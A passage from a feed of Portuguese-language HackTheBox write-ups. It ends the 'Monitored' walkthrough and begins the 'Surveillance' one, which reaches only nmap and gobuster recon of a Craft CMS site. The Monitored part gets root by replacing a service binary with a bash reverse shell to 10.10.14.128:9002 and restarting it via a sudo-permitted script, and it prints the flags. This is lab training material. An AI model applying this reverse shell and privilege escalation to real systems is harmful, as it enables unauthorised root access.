&lt;span class="o"&gt;[&lt;/span&gt;14:09:53] 0.0.0.0:9001: normalizing shell path             manager.py:957
&lt;span class="o"&gt;[&lt;/span&gt;14:09:57] 10.129.130.92:37844: registered new host w/ db   manager.py:957
&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;local&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; pwncat&lt;span class="err"&gt;$&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Conseguimos um shell em nosso alvo com o usuário nagios. Com isso conseguimos a user flag:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;local&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; pwncat&lt;span class="nv"&gt;$ &lt;/span&gt;                                      
&lt;span class="o"&gt;(&lt;/span&gt;remote&lt;span class="o"&gt;)&lt;/span&gt; nagios@monitored:/home/nagios&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-alh&lt;/span&gt;
total 24K
drwxr-xr-x 4 nagios nagios 4.0K Jan 17 13:07 &lt;span class="nb"&gt;.&lt;/span&gt;
drwxr-xr-x 4 root   root   4.0K Nov  9 10:38 ..
lrwxrwxrwx 1 root   root      9 Nov 11 10:57 .bash_history -&amp;gt; /dev/null
&lt;span class="nt"&gt;-rw-r--r--&lt;/span&gt; 1 nagios nagios  131 Jan 17 13:07 cookie.txt
drwxr-xr-x 3 nagios nagios 4.0K Nov 10 14:25 .local
drwx------ 2 nagios nagios 4.0K Dec  7 03:18 .ssh
&lt;span class="nt"&gt;-rw-r-----&lt;/span&gt; 1 root   nagios   33 Jan 17 13:02 user.txt
&lt;span class="o"&gt;(&lt;/span&gt;remote&lt;span class="o"&gt;)&lt;/span&gt; nagios@monitored:/home/nagios&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;user.txt 
059547ca5b222c5d654b3d3947538967
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Privilege Escalation e Root flag
&lt;/h4&gt;

&lt;p&gt;Iniciando um recon do nosso alvo encontramos os seguintes comandos que o usuários nagios pode executar com permissões de root e sem necessidade de utilizar senha:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;(&lt;/span&gt;remote&lt;span class="o"&gt;)&lt;/span&gt; nagios@monitored:/home/nagios&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;
Matching Defaults entries &lt;span class="k"&gt;for &lt;/span&gt;nagios on localhost:
    env_reset, mail_badpass, &lt;span class="nv"&gt;secure_path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/local/sbin&lt;span class="se"&gt;\:&lt;/span&gt;/usr/local/bin&lt;span class="se"&gt;\:&lt;/span&gt;/usr/sbin&lt;span class="se"&gt;\:&lt;/span&gt;/usr/bin&lt;span class="se"&gt;\:&lt;/span&gt;/sbin&lt;span class="se"&gt;\:&lt;/span&gt;/bin

User nagios may run the following commands on localhost:
    &lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; NOPASSWD: /etc/init.d/nagios start
    &lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; NOPASSWD: /etc/init.d/nagios stop
    &lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; NOPASSWD: /etc/init.d/nagios restart
    &lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; NOPASSWD: /etc/init.d/nagios reload
    &lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; NOPASSWD: /etc/init.d/nagios status
    &lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; NOPASSWD: /etc/init.d/nagios checkconfig
    &lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; NOPASSWD: /etc/init.d/npcd start
    &lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; NOPASSWD: /etc/init.d/npcd stop
    &lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; NOPASSWD: /etc/init.d/npcd restart
    &lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; NOPASSWD: /etc/init.d/npcd reload
    &lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; NOPASSWD: /etc/init.d/npcd status
    &lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; NOPASSWD: /usr/bin/php /usr/local/nagiosxi/scripts/components/autodiscover_new.php &lt;span class="k"&gt;*&lt;/span&gt;
    &lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; NOPASSWD: /usr/bin/php /usr/local/nagiosxi/scripts/send_to_nls.php &lt;span class="k"&gt;*&lt;/span&gt;
    &lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; NOPASSWD: /usr/bin/php /usr/local/nagiosxi/scripts/migrate/migrate.php &lt;span class="k"&gt;*&lt;/span&gt;
    &lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; NOPASSWD: /usr/local/nagiosxi/scripts/components/getprofile.sh
    &lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; NOPASSWD: /usr/local/nagiosxi/scripts/upgrade_to_latest.sh
    &lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; NOPASSWD: /usr/local/nagiosxi/scripts/change_timezone.sh
    &lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; NOPASSWD: /usr/local/nagiosxi/scripts/manage_services.sh &lt;span class="k"&gt;*&lt;/span&gt;
    &lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; NOPASSWD: /usr/local/nagiosxi/scripts/reset_config_perms.sh
    &lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; NOPASSWD: /usr/local/nagiosxi/scripts/manage_ssl_config.sh &lt;span class="k"&gt;*&lt;/span&gt;
    &lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; NOPASSWD: /usr/local/nagiosxi/scripts/backup_xi.sh &lt;span class="k"&gt;*&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Os arquivos listados que estão no diretório /etc/init.d/ não existem e como usuário nagios não temos permissão para criar. Os demais scripts podemos executar, mas não altera-los.&lt;/p&gt;

&lt;p&gt;Visando uma enumeração do ambiente por completo iremos executar o script &lt;a href="https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS" rel="noopener noreferrer"&gt;linpeas&lt;/a&gt;, que irá automatizar o procedimento.&lt;/p&gt;

&lt;p&gt;Basta realizar o upload, dar permissão de execução e executar. O linpeas é um shell script.&lt;/p&gt;

&lt;p&gt;Analisando a saída do arquivo temos uma parte que é interessante:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;╔══════════╣ Analyzing .service files
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#services                                                                        
/etc/systemd/system/multi-user.target.wants/nagios.service is calling this writable executable: /usr/local/nagios/bin/nagios                  
/etc/systemd/system/multi-user.target.wants/nagios.service is calling this writable executable: /usr/local/nagios/bin/nagios
/etc/systemd/system/multi-user.target.wants/nagios.service is calling this writable executable: /usr/local/nagios/bin/nagios
/etc/systemd/system/multi-user.target.wants/npcd.service is calling this writable executable: /usr/local/nagios/bin/npcd
/etc/systemd/system/npcd.service is calling this writable executable: /usr/local/nagios/bin/npcd
You can't write on systemd PATH
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Os  dois arquivos contidos em &lt;strong&gt;/etc/systemd/system/multi-user.target.wants/&lt;/strong&gt; são arquivos utilizados pelo systemd para administrar programas, eles são responsáveis pelos parâmetros de execução, neste caso do &lt;strong&gt;nagios&lt;/strong&gt; e do &lt;strong&gt;npcd&lt;/strong&gt;.&lt;br&gt;
No caso da saída acima vemos que ambos apontam para binários que nosso usuário tem permissão de escrita, no entanto nosso usuário nagios não tem permissão para reiniciar, parar ou iniciar programas através do systemctl:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;(&lt;/span&gt;remote&lt;span class="o"&gt;)&lt;/span&gt; nagios@monitored:/home/nagios&lt;span class="nv"&gt;$ &lt;/span&gt;systemctl restart nagios
Failed to restart nagios.service: Access denied
See system logs and &lt;span class="s1"&gt;'systemctl status nagios.service'&lt;/span&gt; &lt;span class="k"&gt;for &lt;/span&gt;details.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Porém entre os scripts listados no sudo -l que nosso usuário pode executar com permissões de root consta o seguinte:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;(&lt;/span&gt;remote&lt;span class="o"&gt;)&lt;/span&gt; nagios@monitored:/home/nagios&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt; /usr/local/nagiosxi/scripts/manage_services.sh
First parameter must be one of: start stop restart status reload checkconfig &lt;span class="nb"&gt;enable &lt;/span&gt;disable
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Este por sua vez serve para gerenciar serviços, seja start, stop, reload e etc.&lt;br&gt;
Analisando o script vemos que conseguimos através do mesmo reiniciar controlar a execução tanto do nagios quando do npcd e outros:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;(&lt;/span&gt;remote&lt;span class="o"&gt;)&lt;/span&gt; nagios@monitored:/home/nagios&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt; /usr/local/nagiosxi/scripts/manage_services.sh restart
Second parameter must be one of: postgresql httpd mysqld nagios ndo2db npcd snmptt ntpd crond shellinaboxd snmptrapd php-fpm
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Podemos substituir um destes binários por um script que executará como root, este script pode ser um reverse shell por exemplo:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;
bash &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&amp;amp; /dev/tcp/10.10.14.128/9002 0&amp;gt;&amp;amp;1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Como ja estamos utilizando a porta 9001, para este outro reverse shell iremos utilizar a porta 9002. Após criar o arquivo iremos dar permissão de execução e substituir o atual arquivo npcd:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;(&lt;/span&gt;remote&lt;span class="o"&gt;)&lt;/span&gt; nagios@monitored:/home/nagios&lt;span class="nv"&gt;$ &lt;/span&gt;vi npcd
&lt;span class="o"&gt;(&lt;/span&gt;remote&lt;span class="o"&gt;)&lt;/span&gt; nagios@monitored:/home/nagios&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;chmod&lt;/span&gt; +x npcd 
&lt;span class="o"&gt;(&lt;/span&gt;remote&lt;span class="o"&gt;)&lt;/span&gt; nagios@monitored:/home/nagios&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;mv&lt;/span&gt; /usr/local/nagios/bin/npcd&lt;span class="o"&gt;{&lt;/span&gt;,.bak&lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;(&lt;/span&gt;remote&lt;span class="o"&gt;)&lt;/span&gt; nagios@monitored:/home/nagios&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cp &lt;/span&gt;npcd /usr/local/nagios/bin/
&lt;span class="o"&gt;(&lt;/span&gt;remote&lt;span class="o"&gt;)&lt;/span&gt; nagios@monitored:/home/nagios&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /usr/local/nagios/bin/npcd
&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;
bash &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&amp;amp; /dev/tcp/10.10.14.128/9002 0&amp;gt;&amp;amp;1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Agora em outra aba do terminal iremos utilizar novamente o pwncat para ouvir na porta 9002:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/monitored]
└─# pwncat-cs &lt;span class="nt"&gt;-lp&lt;/span&gt; 9002         
&lt;span class="o"&gt;[&lt;/span&gt;14:27:31] Welcome to pwncat 🐈!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;E executar o script manage_services.sh:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;(&lt;/span&gt;remote&lt;span class="o"&gt;)&lt;/span&gt; nagios@monitored:/home/nagios&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt; /usr/local/nagiosxi/scripts/manage_services.sh restart npcd
&lt;span class="o"&gt;(&lt;/span&gt;remote&lt;span class="o"&gt;)&lt;/span&gt; nagios@monitored:/home/nagios&lt;span class="nv"&gt;$ &lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Com isso temos o seguinte retorno no novo pwncat como usuário root, conseguindo assim a root flag:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;local&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; pwncat&lt;span class="nv"&gt;$ &lt;/span&gt;                                                                                                             
&lt;span class="o"&gt;(&lt;/span&gt;remote&lt;span class="o"&gt;)&lt;/span&gt; root@monitored:/# &lt;span class="nb"&gt;id
&lt;/span&gt;&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;(&lt;/span&gt;remote&lt;span class="o"&gt;)&lt;/span&gt; root@monitored:/# &lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt; /root/
&lt;span class="nb"&gt;.&lt;/span&gt;  ..  .bash_history  .bashrc  .cache  .config  .cpan  .gnupg  .local  .profile  root.txt  .ssh
&lt;span class="o"&gt;(&lt;/span&gt;remote&lt;span class="o"&gt;)&lt;/span&gt; root@monitored:/# &lt;span class="nb"&gt;cat&lt;/span&gt; /root/root.txt 
01afe731595a5fed86f858423165f80e
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Finalizando assim a máquina Monitored!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fii2i4avcym1xlv8tjzkr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fii2i4avcym1xlv8tjzkr.png" alt="Pwned machine!" width="634" height="606"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>sql</category>
      <category>vulnerabilities</category>
      <category>linux</category>
    </item>
    <item>
      <title>HackTheBox - Writeup Surveillance [Retired]</title>
      <dc:creator>Guilherme Martins</dc:creator>
      <pubDate>Sun, 02 Jun 2024 16:42:19 +0000</pubDate>
      <link>https://dev.to/mrtnsgs/-hackthebox-writeup-surveillance-retired-5e7f</link>
      <guid>https://dev.to/mrtnsgs/-hackthebox-writeup-surveillance-retired-5e7f</guid>
      <description>&lt;h3&gt;
  
  
  Hackthebox
&lt;/h3&gt;

&lt;p&gt;Neste writeup iremos explorar uma máquina linux de nível medium chamada &lt;strong&gt;Surveillance&lt;/strong&gt; que aborda as seguintes vulnerabilidades e técnicas de exploração:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;CVE-2023-41892 - Remote Code Execution&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Password Cracking com hashcat&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CVE-2023-26035 - Unauthenticated RCE&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Lack of Input Validation&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Iremos iniciar realizando uma varredura em nosso alvo a procura de portas abertas através do nmap:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/surveillance]
└─# nmap &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;--open&lt;/span&gt; &lt;span class="nt"&gt;-Pn&lt;/span&gt; 10.129.45.83 
Starting Nmap 7.93 &lt;span class="o"&gt;(&lt;/span&gt; https://nmap.org &lt;span class="o"&gt;)&lt;/span&gt; at 2023-12-11 19:11 EST
Nmap scan report &lt;span class="k"&gt;for &lt;/span&gt;10.129.45.83
Host is up &lt;span class="o"&gt;(&lt;/span&gt;0.27s latency&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
Not shown: 998 closed tcp ports &lt;span class="o"&gt;(&lt;/span&gt;reset&lt;span class="o"&gt;)&lt;/span&gt;
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 &lt;span class="o"&gt;(&lt;/span&gt;Ubuntu Linux&lt;span class="p"&gt;;&lt;/span&gt; protocol 2.0&lt;span class="o"&gt;)&lt;/span&gt;
80/tcp open  http    nginx 1.18.0 &lt;span class="o"&gt;(&lt;/span&gt;Ubuntu&lt;span class="o"&gt;)&lt;/span&gt;
Service Info: OS: Linux&lt;span class="p"&gt;;&lt;/span&gt; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Com isso podemos notar que existem duas portas, a porta 22 do ssh e a 80 que esta rodando um nginx.&lt;br&gt;&lt;br&gt;
O nginx é um servidor web e proxy reverso, vamos acessar nosso alvo por um navegador.&lt;/p&gt;

&lt;p&gt;Quando acessamos somos redirecionados para &lt;strong&gt;&lt;a href="http://surveillance.htb" rel="noopener noreferrer"&gt;http://surveillance.htb&lt;/a&gt;&lt;/strong&gt;, vamos adicionar em nosso &lt;strong&gt;/etc/hosts&lt;/strong&gt;.&lt;br&gt;&lt;br&gt;
Com isso temos a seguinte págine web:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F53gvk37dtykj6r796equ.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F53gvk37dtykj6r796equ.png" alt="Surveillance.htb" width="800" height="473"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Se trata de um site de uma empresa de segurança e monitoramento que dispõe de câmeras, controle de acessos e etc.&lt;br&gt;&lt;br&gt;
Agora iremos em busca de endpoint e diretórios utilizando o gobuster:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/surveillance]
└─# gobuster &lt;span class="nb"&gt;dir&lt;/span&gt; &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/wordlists/dirb/big.txt &lt;span class="nt"&gt;-u&lt;/span&gt; http://surveillance.htb/ &lt;span class="nt"&gt;-k&lt;/span&gt; 
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
Gobuster v3.4
by OJ Reeves &lt;span class="o"&gt;(&lt;/span&gt;@TheColonial&lt;span class="o"&gt;)&lt;/span&gt; &amp;amp; Christian Mehlmauer &lt;span class="o"&gt;(&lt;/span&gt;@firefart&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;+] Url:                     http://surveillance.htb/
&lt;span class="o"&gt;[&lt;/span&gt;+] Method:                  GET
&lt;span class="o"&gt;[&lt;/span&gt;+] Threads:                 10
&lt;span class="o"&gt;[&lt;/span&gt;+] Wordlist:                /usr/share/wordlists/dirb/big.txt
&lt;span class="o"&gt;[&lt;/span&gt;+] Negative Status codes:   404
&lt;span class="o"&gt;[&lt;/span&gt;+] User Agent:              gobuster/3.4
&lt;span class="o"&gt;[&lt;/span&gt;+] Timeout:                 10s
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
2023/12/11 19:12:59 Starting gobuster &lt;span class="k"&gt;in &lt;/span&gt;directory enumeration mode
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
/.htaccess            &lt;span class="o"&gt;(&lt;/span&gt;Status: 200&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 304]
/admin                &lt;span class="o"&gt;(&lt;/span&gt;Status: 302&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 0] &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; http://surveillance.htb/admin/login]
/css                  &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 178] &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; http://surveillance.htb/css/]
/fonts                &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 178] &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; http://surveillance.htb/fonts/]
/images               &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 178] &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; http://surveillance.htb/images/]
/img                  &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 178] &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; http://surveillance.htb/img/]
/index                &lt;span class="o"&gt;(&lt;/span&gt;Status: 200&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 1]
/js                   &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 178] &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; http://surveillance.htb/js/]
/logout               &lt;span class="o"&gt;(&lt;/span&gt;Status: 302&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 0] &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; http://surveillance.htb/]
/p13                  &lt;span class="o"&gt;(&lt;/span&gt;Status: 200&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 16230]
/p1                   &lt;span class="o"&gt;(&lt;/span&gt;Status: 200&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 16230]
/p10                  &lt;span class="o"&gt;(&lt;/span&gt;Status: 200&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 16230]
/p15                  &lt;span class="o"&gt;(&lt;/span&gt;Status: 200&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 16230]
/p2                   &lt;span class="o"&gt;(&lt;/span&gt;Status: 200&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 16230]
/p3                   &lt;span class="o"&gt;(&lt;/span&gt;Status: 200&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 16230]
/p7                   &lt;span class="o"&gt;(&lt;/span&gt;Status: 200&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 16230]
/p5                   &lt;span class="o"&gt;(&lt;/span&gt;Status: 200&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 16230]
/wp-admin             &lt;span class="o"&gt;(&lt;/span&gt;Status: 418&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 24409]
Progress: 20469 / 20470 &lt;span class="o"&gt;(&lt;/span&gt;100.00%&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Aqui temos alguns endpoints interessantes, dentre eles temos o &lt;strong&gt;/admin&lt;/strong&gt;. Aqui conseguimos identificar a CMS que o site foi criado, podemos constatar que se trata de um &lt;strong&gt;Craft CMS&lt;/strong&gt;:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu5c4zeci72cp3ueex4k5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu5c4zeci72cp3ueex4k5.png" alt="Craft CMS" width="800" height="473"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;De acordo com o próprio site do &lt;strong&gt;Craft CMS&lt;/strong&gt;, o Craft é um CMS flexível e fácil de usar para criar experiências digitais personalizadas na web e fora dela.&lt;/p&gt;

